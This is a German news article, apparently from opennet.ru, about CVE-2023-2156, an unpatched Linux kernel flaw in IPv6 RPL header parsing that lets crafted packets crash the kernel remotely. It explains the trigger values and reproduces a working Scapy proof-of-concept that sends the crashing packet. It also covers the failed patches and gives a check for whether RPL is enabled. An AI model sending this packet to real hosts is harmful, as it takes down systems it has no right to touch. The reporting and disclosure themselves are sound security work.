0-Day-Sicherheitsanfälligkeit im IPv6-Stack von Linux, die einen Remotecrash des Kernels ermöglicht

Es wurden Informationen über eine ungepatchte (0-day) Schwachstelle (CVE-2023-2156) im Linux-Kernel veröffentlicht, die es ermöglicht, das System durch das Versenden speziell gestalteter IPv6-Pakete (packet-of-death) zum Absturz zu bringen. Das Problem tritt nur auf, wenn die Unterstützung des RPL-Protokolls (Routing Protocol for Low-Power and Lossy Networks) aktiviert ist, das in Standard-Distributionen von Haus aus deaktiviert ist und hauptsächlich auf eingebetteten Geräten verwendet wird, die in drahtlosen Netzwerken mit hohen Paketverlusten arbeiten.

Die Schwachstelle wird durch eine fehlerhafte Verarbeitung externer Daten im Parsing-Code des RPL-Protokolls verursacht, was zu einem Auslösen des Assert-Fehlers führt und den Kernel in den Panic-Zustand versetzt. Wenn in der Struktur k_buff (Socket Buffer) Daten platziert werden, die aus dem Parsing des IPv6 RPL-Paket-Headers stammen, und das Feld CmprI auf 15, das Feld Segleft auf 1 und CmprE auf 0 gesetzt wird, wird ein 48-Byte-Vektor mit Adressen auf 528 Byte entpackt, was dazu führt, dass der für den Puffer zur Verfügung stehende Speicher nicht ausreicht. In diesem Fall tritt bei der Funktion skb_push, die zum Platzieren von Daten in der Struktur verwendet wird, eine Überprüfungsbedingung auf, die eine Diskrepanz zwischen der Größe der Daten und des Puffers generiert, um einen Schreibzugriff außerhalb des Puffers zu verhindern.

Beispiel für einen Exploit: # Wir verwenden Scapy, um das Paket zu erstellen from scapy.all import * import socket # Verwenden Sie die IPv6-Adresse Ihrer LAN-Schnittstelle DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Wir verwenden Sockets, um das Paket zu senden sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Paket erstellen # Typ = 3 macht dies zu einem RPL-Paket # Adressen enthalten 3 Adressen, aber da CmprI 15 ist, # wird jeder Oktett der ersten beiden Adressen als komprimierte Adresse behandelt # Segleft = 1, um die Verstärkung auszulösen # lastentry = 0xf0 setzt CmprI auf 15 und CmprE auf 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) \/ IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Dieses bösartige Paket senden sockfd.sendto(bytes(p), (DST_ADDR, 0))

Bemerkenswert ist, dass die Kernel-Entwickler bereits im Januar 2022 über die Schwachstelle informiert wurden und in den vergangenen 15 Monaten dreimal versucht haben, das Problem zu beheben, indem sie Patches im September 2022, Oktober 2022 und April 2023 veröffentlichten, jedoch jedes Mal waren die Korrekturen unzureichend und die Schwachstelle konnte reproduziert werden. Letztendlich entschied das ZDI-Projekt, das die Arbeit zur Behebung der Schwachstelle koordinierte, detaillierte Informationen über die Schwachstelle preiszugeben, ohne auf einen funktionierenden Fix im Kernel zu warten.

Somit bleibt die Sicherheitsanfälligkeit weiterhin unbehebbar. Auch der Patch, der in den Kernel 6.4-rc2 aufgenommen wurde, ist nicht effektiv. Den Nutzern wird empfohlen zu überprüfen, ob das RPL-Protokoll in ihren Systemen verwendet wird, was mit dem Befehl sysctl -a | grep -i rpl_seg_enabled durchgeführt werden kann.

Quelle: opennet.ru

60GB SSD 8Gb DDR4